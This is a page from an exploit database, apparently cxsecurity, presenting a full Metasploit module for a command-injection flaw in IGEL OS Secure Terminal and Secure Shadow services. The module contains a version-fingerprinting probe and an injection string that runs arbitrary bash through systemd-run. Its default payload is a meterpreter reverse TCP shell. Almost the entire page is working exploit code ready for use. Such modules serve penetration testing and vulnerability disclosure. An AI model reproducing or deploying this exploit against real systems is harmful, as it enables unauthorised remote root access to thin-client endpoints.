IGEL OS Secure VNC/Terminal Command Injection

2021.05.04
Credit: Rob Vinson
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE', 'Description' => %q{ This module exploits a command injection vulnerability in IGEL OS Secure Terminal and Secure Shadow services. Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rob Vinson', # Discovery 'James Brytan', # Research and testing 'James Smith', # Research and testing 'Marisa Mack', # Research and testing 'Sergey Pashevkin', # Research and testing 'Steven Laura' # Research and testing ], 'References' => [ [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ], [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ] ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Secure Terminal Service', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :cmd, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 } } ], [ 'Secure Shadow Service', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :cmd, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 } } ], ], 'Privileged' => true, 'DisclosureDate' => '2021-02-25', 'CmdStagerFlavor' => ['printf'], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependFork' => true }, 'Notes' => { 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE] } ) ) register_advanced_options( [ # must enable SSL OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]), ] ) end def check probe = '<igel_scan></igel_scan>' connect_udp(true, 'RPORT' => 30005) udp_sock.put(probe) res = udp_sock.recvfrom(65535, 0.5) disconnect_udp unless res && res[0] return Exploit::CheckCode::Unknown end probe_response = res[0] matches = probe_response.match(/firmwareversion=<([0-9.]+)>/) unless matches return Exploit::CheckCode::Unknown end version = matches.captures[0] vprint_status("IGEL OS Version: #{version}") version = Rex::Version.new(version) if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0') return Exploit::CheckCode::Appears elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620') return Exploit::CheckCode::Safe elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0') return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def execute_command(cmd, _opts = {}) vprint_status("executing: #{cmd}") connect sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false)) ensure disconnect end def exploit execute_cmdstager(linemax: 150, noconcat: true, delay: 2) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.") end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top